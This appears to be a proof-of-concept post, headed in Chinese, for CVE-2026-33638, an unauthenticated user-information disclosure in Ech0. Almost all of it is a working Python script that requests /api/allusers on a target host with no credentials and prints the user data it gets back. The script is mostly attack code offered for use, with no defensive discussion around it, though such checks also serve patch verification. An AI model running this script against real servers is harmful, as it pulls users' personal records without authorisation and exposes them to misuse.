CVE-2026-33638 Ech0未授权用户信息泄露漏洞

import requests # Target URL (replace with actual target) target_url = "http://<target_host>/api/allusers" def check_vulnerability(): try: # Send a GET request to the vulnerable endpoint without authentication response = requests.get(target_url, timeout=10) # Check if the response status is 200 and contains JSON data if response.status_code == 200: try: data = response.json() print("[+] Vulnerability Confirmed!") print("[+] Leaked User Data:") print(data) except ValueError: print("[-] Response received but not JSON format. Might be patched.") else: print(f"[-] Status Code: {response.status_code}. Endpoint might be protected or down.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": check_vulnerability()